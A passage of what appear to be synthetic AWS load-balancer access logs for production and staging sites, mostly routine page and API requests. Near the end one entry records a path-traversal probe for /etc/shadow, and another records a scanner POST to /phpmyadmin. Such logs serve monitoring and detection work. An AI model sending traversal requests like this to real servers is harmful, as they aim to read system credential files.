ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cd5f-d17b0f7dfb2047418c9df9c8" "prod-web-alb.example.com" "-" 0 2024-11-01T01:33:03.556867Z "forward" "-" "-" "10.0.232.17:443" "200" "-" "-" -https 2024-11-01T01:33:04.414252Z staging-alb 14.34.129.5:43415 22.21.237.124:443 0.105842 0.578262 0.082604 200 200 517 8818 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cd60-4456d52eea25487a86ca45d8" "staging-alb.example.com" "-" 3 2024-11-01T01:33:04.414252Z "forward" "-" "-" "22.21.237.124:443" "200" "-" "-" -https 2024-11-01T01:33:05.721569Z prod-web-alb 58.47.102.8:44685 10.0.28.75:443 0.093768 0.361197 0.030593 200 200 679 4729 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cd61-c4d4a004e2b84ffb9d9d4f2e" "prod-web-alb.example.com" "-" 8 2024-11-01T01:33:05.721569Z "forward" "-" "-" "10.0.28.75:443" "200" "-" "-" -https 2024-11-01T01:33:06.238367Z staging-alb 49.156.204.11:45811 70.202.142.79:8080 0.037973 0.359295 0.006605 200 200 925 6293 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cd62-ce436ca08c02447783c4969d" "staging-alb.example.com" "-" 2 2024-11-01T01:33:06.238367Z "forward" "-" "-" "70.202.142.79:8080" "200" "-" "-" -http 2024-11-01T01:33:06.743112Z staging-alb 140.94.137.0:19628 245.81.209.165:8080 0.107597 0.673485 0.101952 301 301 218 9961 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cd62-b7eae01e5bd042848ea74db5" "staging-alb.example.com" "-" 9 2024-11-01T01:33:06.743112Z "forward" "-" "-" "245.81.209.165:8080" "301" "-" "-" -https 2024-11-01T01:33:07.109902Z prod-api-alb 86.149.155.99:14096 10.0.229.73:443 0.044284 0.181722 0.067064 404 404 403 7452 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cd63-c4c7f01eba99414ca73e81f6" "prod-api-alb.example.com" "-" 1 2024-11-01T01:33:07.109902Z "forward" "-" "-" "10.0.229.73:443" "404" "-" "-" -http 2024-11-01T01:33:07.942076Z staging-alb 142.226.203.217:16504 225.154.189.227:80 0.131535 0.072200 0.134378 301 301 501 14496 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cd63-d1e5ae0c191b4939819ccbc0" "staging-alb.example.com" "-" 9 2024-11-01T01:33:07.942076Z "forward" "-" "-" "225.154.189.227:80" "301" "-" "-" -https 2024-11-01T01:33:08.368893Z prod-web-alb 227.232.165.186:42736 10.0.58.219:443 0.098302 0.349376 0.048532 404 404 309 4517 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cd64-06eb7273ff4d4c3cbb580df7" "prod-web-alb.example.com" "-" 2 2024-11-01T01:33:08.368893Z "forward" "-" "-" "10.0.58.219:443" "404" "-" "-" -https 2024-11-01T01:33:09.146729Z prod-web-alb 170.155.151.52:30369 10.0.101.201:443 0.039394 0.496309 0.067978 200 200 765 3214 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cd65-917aebe1b09d4501a3093502" "prod-web-alb.example.com" "-" 1 2024-11-01T01:33:09.146729Z "forward" "-" "-" "10.0.101.201:443" "200" "-" "-" -https 2024-11-01T01:33:10.467060Z prod-web-alb 59.12.56.107:32920 10.0.195.86:443 0.053942 0.063167 0.088134 200 200 2 6371 "GET /cart HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cd66-07dc6bf20bf04e728de21800" "prod-web-alb.example.com" "-" 9 2024-11-01T01:33:10.467060Z "forward" "-" "-" "10.0.195.86:443" "200" "-" "-" -http 2024-11-01T01:33:10.693653Z staging-alb 130.145.133.184:30520 187.216.184.180:443 0.024678 0.107386 0.011701 200 200 693 7418 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cd66-6ae178dfc6f34ef0bf9c131b" "staging-alb.example.com" "-" 10 2024-11-01T01:33:10.693653Z "forward" "-" "-" "187.216.184.180:443" "200" "-" "-" -https 2024-11-01T01:33:11.174611Z prod-web-alb 172.229.51.239:20978 10.0.84.201:443 0.032861 0.326914 0.098475 200 200 704 9061 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cd67-1995c01aa07f4bd9bf697610" "prod-web-alb.example.com" "-" 4 2024-11-01T01:33:11.174611Z "forward" "-" "-" "10.0.84.201:443" "200" "-" "-" -https 2024-11-01T01:33:12.792299Z prod-api-alb 140.130.35.203:42315 10.0.239.244:443 0.006995 0.293235 0.001840 200 200 954 3802 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cd68-09a47d403d3d44fd9bc48d33" "prod-api-alb.example.com" "-" 10 2024-11-01T01:33:12.792299Z "forward" "-" "-" "10.0.239.244:443" "200" "-" "-" -https 2024-11-01T01:33:14.484081Z staging-alb 245.4.199.100:39545 244.123.76.91:80 0.078794 0.149177 0.067731 200 200 199 1494 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cd6a-b8a81b74cccc424bad7a0293" "-" "-" 2 2024-11-01T01:33:14.484081Z "forward" "-" "-" "244.123.76.91:80" "200" "-" "-" -http 2024-11-01T01:33:14.793237Z staging-alb 187.251.67.125:33849 155.79.44.209:80 0.029294 0.266749 0.119423 302 302 642 430 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cd6a-9e07dba65f35442caac6c26d" "staging-alb.example.com" "-" 6 2024-11-01T01:33:14.793237Z "forward" "-" "-" "155.79.44.209:80" "302" "-" "-" -https 2024-11-01T01:33:16.636736Z prod-web-alb 230.122.224.117:15272 10.0.181.28:443 0.058020 0.135572 0.031821 200 200 383 2430 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cd6c-0b0f90ba10854e7d9b228ad3" "prod-web-alb.example.com" "-" 2 2024-11-01T01:33:16.636736Z "forward" "-" "-" "10.0.181.28:443" "200" "-" "-" -http 2024-11-01T01:33:18.340182Z staging-alb 142.157.58.143:14544 76.147.227.121:443 0.011412 0.580173 0.084849 200 200 932 3098 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cd6e-d50745c122254ea39e184449" "-" "-" 0 2024-11-01T01:33:18.340182Z "forward" "-" "-" "76.147.227.121:443" "200" "-" "-" -https 2024-11-01T01:33:18.903393Z prod-web-alb 185.181.166.125:11749 10.0.122.72:443 0.050228 0.373385 0.000550 401 401 734 2522 "POST /phpmyadmin HTTP/1.1" "Qualys SSL Assessment Scanner" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cd6e-1d09f6776a964c1d8df09f10" "-" "-" 4 2024-11-01T01:33:18.903393Z "forward" "-" "-" "10.0.122.72:443" "401" "-" "-" -https 2024-11-01T01:33:19.861662Z prod-web-alb 200.125.245.112:32835 10.0.184.118:443 0.022146 0.153078 0.042357 301 301 837 12792 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cd6f-6723983a0adc4997a1ee36cf" "prod-web-alb.example.com" "-" 3 2024-11-01T01:33:19.861662Z "forward" "-" "-" "10.0.184.118:443" "301" "-" "-" -https 2024-11-01T01:33:20.643841Z prod-api-alb 20.43.72.40:13083 10.0.228.143:443 0.047660 0.113981 0.091209 200 200 199 7703 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cd70-f637edbead5d4c4ba51d3b31" "prod-api-alb.example.com" "-" 6 2024-11-01T01:33:20.643841Z "forward" "-" "-" "10.0.228.143:443" "200" "-" "-" -https 2024-11-01T01:33:20.950297Z prod-web-alb 16.122.224.33:53773 10.0.181.239:443 0.016289 0.211877 0.060545 302 302 405 10370 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cd70-f5e05d4cd22e4c7a85e1d2ce" "prod-web-alb.example.com" "-" 7 2024-11-01T01:33:20.950297Z "forward" "-" "-" "10.0.181.239:443" "302" "-" "-" -https 2024-11-01T01:33:22.121678Z prod-api-alb 23.37.69.17:60143 10.0.31.119:443 0.057370 0.087963 0.077090 200 200 564 1855 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cd72-faee792e68dd4957adfe6793" "-" "-" 0 2024-11-01T01:33:22.121678Z "forward" "-" "-" "10.0.31.119:443" "200" "-" "-" -https 2024-11-01T01:33:23.163427Z prod-web-alb 175.242.206.29:17484 10.0.106.131:443 0.061313 0.455237 0.075719 200 200 808 2937 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cd73-71f592c04d1b4461a89abfb1" "prod-web-alb.example.com" "-" 9 2024-11-01T01:33:23.163427Z "forward" "-" "-" "10.0.106.131:443" "200" "-" "-" -https 2024-11-01T01:33:24.215145Z prod-api-alb 187.231.215.95:46631 10.0.170.203:443 0.050789 0.102458 0.011956 200 200 976 3981 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cd74-7f7d63bd031643ddb8b02c1a" "prod-api-alb.example.com" "-" 8 2024-11-01T01:33:24.215145Z "forward" "-" "-" "10.0.170.203:443" "200" "-" "-" -https 2024-11-01T01:33:24.864336Z prod-web-alb 44.137.26.129:48137 10.0.78.165:443 0.048086 0.378104 0.037810 200 200 623 9487 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cd74-a276a0beecc44c0d85109757" "prod-web-alb.example.com" "-" 10 2024-11-01T01:33:24.864336Z "forward" "-" "-" "10.0.78.165:443" "200" "-" "-" -https 2024-11-01T01:33:26.494937Z prod-web-alb 61.67.143.209:51252 10.0.77.85:443 0.071329 0.481388 0.058100 200 200 961 12244 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cd76-53e9c231ccd8408791f5380d" "prod-web-alb.example.com" "-" 9 2024-11-01T01:33:26.494937Z "forward" "-" "-" "10.0.77.85:443" "200" "-" "-" -https 2024-11-01T01:33:27.708469Z staging-alb 24.0.45.58:13912 163.90.16.92:80 0.008455 0.087491 0.136411 200 200 428 4875 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cd77-990d8f335ef94c4f8e3fb431" "staging-alb.example.com" "-" 7 2024-11-01T01:33:27.708469Z "forward" "-" "-" "163.90.16.92:80" "200" "-" "-" -https 2024-11-01T01:33:29.260404Z prod-web-alb 190.233.113.204:64494 10.0.41.16:443 0.058746 0.445641 0.051221 200 200 56 4854 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cd79-4042b41dd3334c41a01da885" "prod-web-alb.example.com" "-" 0 2024-11-01T01:33:29.260404Z "forward" "-" "-" "10.0.41.16:443" "200" "-" "-" -https 2024-11-01T01:33:30.671867Z prod-api-alb 203.112.188.124:61270 10.0.170.135:443 0.070801 0.079890 0.068403 200 200 459 3383 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cd7a-8904f562a4c74684b7078001" "prod-api-alb.example.com" "-" 1 2024-11-01T01:33:30.671867Z "forward" "-" "-" "10.0.170.135:443" "200" "-" "-" -https 2024-11-01T01:33:31.237781Z prod-web-alb 4.171.155.6:18005 10.0.132.8:443 0.077232 0.063328 0.056982 200 200 847 4487 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cd7b-d9c79b9006d04b6a988543a5" "prod-web-alb.example.com" "-" 7 2024-11-01T01:33:31.237781Z "forward" "-" "-" "10.0.132.8:443" "200" "-" "-" -https 2024-11-01T01:33:32.874596Z prod-api-alb 205.124.170.36:60408 10.0.17.63:443 0.084371 0.419063 0.034912 200 200 481 14315 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cd7c-e8303f663d35467182cdf497" "prod-api-alb.example.com" "-" 6 2024-11-01T01:33:32.874596Z "forward" "-" "-" "10.0.17.63:443" "200" "-" "-" -https 2024-11-01T01:33:34.625888Z prod-api-alb 68.18.220.254:46899 10.0.120.104:443 0.031753 0.406129 0.081849 302 302 354 10026 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cd7e-f2f922f4d349445381c4e110" "prod-api-alb.example.com" "-" 2 2024-11-01T01:33:34.625888Z "forward" "-" "-" "10.0.120.104:443" "302" "-" "-" -http 2024-11-01T01:33:35.574605Z staging-alb 242.117.86.237:35048 134.177.104.130:80 0.147921 0.594751 0.076363 301 301 147 8636 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cd7f-de93ce6fae9d4045b6bc98e6" "staging-alb.example.com" "-" 2 2024-11-01T01:33:35.574605Z "forward" "-" "-" "134.177.104.130:80" "301" "-" "-" -https 2024-11-01T01:33:35.883232Z prod-web-alb 196.128.59.71:10792 10.0.207.18:443 0.022139 0.059696 0.058072 200 200 381 13000 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cd7f-845538c755994e108b484a1d" "prod-web-alb.example.com" "-" 3 2024-11-01T01:33:35.883232Z "forward" "-" "-" "10.0.207.18:443" "200" "-" "-" -https 2024-11-01T01:33:36.356752Z prod-api-alb 94.87.253.52:22811 10.0.222.89:443 0.014084 0.294592 0.078440 200 200 527 6661 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cd80-c6c812535a534d4ca192037f" "prod-api-alb.example.com" "-" 7 2024-11-01T01:33:36.356752Z "forward" "-" "-" "10.0.222.89:443" "200" "-" "-" -https 2024-11-01T01:33:37.342064Z staging-alb 211.29.96.238:25821 115.117.182.27:443 0.041615 0.236912 0.085709 200 200 953 6924 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cd81-b44c7ae166c646a794efe009" "staging-alb.example.com" "-" 5 2024-11-01T01:33:37.342064Z "forward" "-" "-" "115.117.182.27:443" "200" "-" "-" -https 2024-11-01T01:33:38.399397Z prod-api-alb 184.228.165.76:35200 10.0.85.7:443 0.036524 0.466822 0.018847 302 302 378 3302 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cd82-d7f6dcc991014da98cc93afd" "prod-api-alb.example.com" "-" 8 2024-11-01T01:33:38.399397Z "forward" "-" "-" "10.0.85.7:443" "302" "-" "-" -https 2024-11-01T01:33:39.429356Z prod-api-alb 132.190.58.102:14043 10.0.183.204:443 0.055840 0.230415 0.034572 200 200 517 877 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cd83-05da4612f920425cb4019c7e" "prod-api-alb.example.com" "-" 4 2024-11-01T01:33:39.429356Z "forward" "-" "-" "10.0.183.204:443" "200" "-" "-" -https 2024-11-01T01:33:39.847285Z prod-api-alb 243.61.249.215:54967 10.0.239.86:443 0.073904 0.095077 0.034604 301 301 741 11675 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cd83-1a46a884b6a84ee6a2bba720" "prod-api-alb.example.com" "-" 6 2024-11-01T01:33:39.847285Z "forward" "-" "-" "10.0.239.86:443" "301" "-" "-" -https 2024-11-01T01:33:41.833528Z staging-alb 65.71.209.88:39231 18.56.194.2:443 0.062886 0.306503 0.034100 200 200 750 14501 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cd85-af9de3df220d4eedb967eacb" "staging-alb.example.com" "-" 0 2024-11-01T01:33:41.833528Z "forward" "-" "-" "18.56.194.2:443" "200" "-" "-" -https 2024-11-01T01:33:43.488271Z staging-alb 30.15.245.125:17949 212.29.79.125:443 0.032982 0.412187 0.132396 200 200 297 9976 "GET /web/test HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cd87-4b145c194aea4a98a7a2c320" "staging-alb.example.com" "-" 8 2024-11-01T01:33:43.488271Z "forward" "-" "-" "212.29.79.125:443" "200" "-" "-" -https 2024-11-01T01:33:45.466541Z staging-alb 234.237.77.26:30154 85.207.182.228:443 0.087682 0.155441 0.038632 302 302 949 14981 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cd89-1bdb7c5046274383a53b68dd" "staging-alb.example.com" "-" 0 2024-11-01T01:33:45.466541Z "forward" "-" "-" "85.207.182.228:443" "302" "-" "-" -https 2024-11-01T01:33:45.896831Z prod-web-alb 73.199.16.13:17932 10.0.46.172:443 0.033637 0.116736 0.033629 302 302 825 13468 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cd89-16f153a46cbf48e2b958f16d" "prod-web-alb.example.com" "-" 1 2024-11-01T01:33:45.896831Z "forward" "-" "-" "10.0.46.172:443" "302" "-" "-" -https 2024-11-01T01:33:46.792016Z prod-web-alb 255.49.196.138:47920 10.0.41.138:443 0.021458 0.157890 0.096337 200 200 825 12489 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cd8a-5f15d92052c44b80a56dae89" "prod-web-alb.example.com" "-" 10 2024-11-01T01:33:46.792016Z "forward" "-" "-" "10.0.41.138:443" "200" "-" "-" -https 2024-11-01T01:33:47.612619Z prod-api-alb 223.110.157.157:44945 10.0.118.93:443 0.011529 0.284450 0.088650 404 404 527 11291 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cd8b-bf54666aee5443b2b0e52c23" "prod-api-alb.example.com" "-" 8 2024-11-01T01:33:47.612619Z "forward" "-" "-" "10.0.118.93:443" "404" "-" "-" -https 2024-11-01T01:33:48.545644Z prod-api-alb 204.87.126.181:58361 10.0.154.172:443 0.087787 0.338929 0.007086 200 200 137 10291 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cd8c-e3768ff2b41045cf8756f2de" "prod-api-alb.example.com" "-" 8 2024-11-01T01:33:48.545644Z "forward" "-" "-" "10.0.154.172:443" "200" "-" "-" -https 2024-11-01T01:33:50.014687Z prod-web-alb 106.75.10.100:50965 10.0.211.231:443 0.092580 0.446604 0.020599 200 200 466 7109 "GET /checkout HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cd8e-b613caa4308f4217bb6c5b96" "prod-web-alb.example.com" "-" 4 2024-11-01T01:33:50.014687Z "forward" "-" "-" "10.0.211.231:443" "200" "-" "-" -https 2024-11-01T01:33:50.655545Z prod-api-alb 45.155.205.147:25685 10.0.48.157:443 0.029303 0.034191 0.033154 404 404 957 4242 "GET /images/../../../../etc/shadow HTTP/1.1" "Acunetix-Agent" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cd8e-15c7afbdc078467f880e417d" "-" "-" 1 2024-11-01T01:33:50.655545Z "forward" "-" "-" "10.0.48.157:443" "404" "-" "-" -http 2024-11-01T01:33:51.943777Z staging-alb 135.113.103.59:19293 142.223.46.183:8080 0.139033 0.057185 0.005391 200 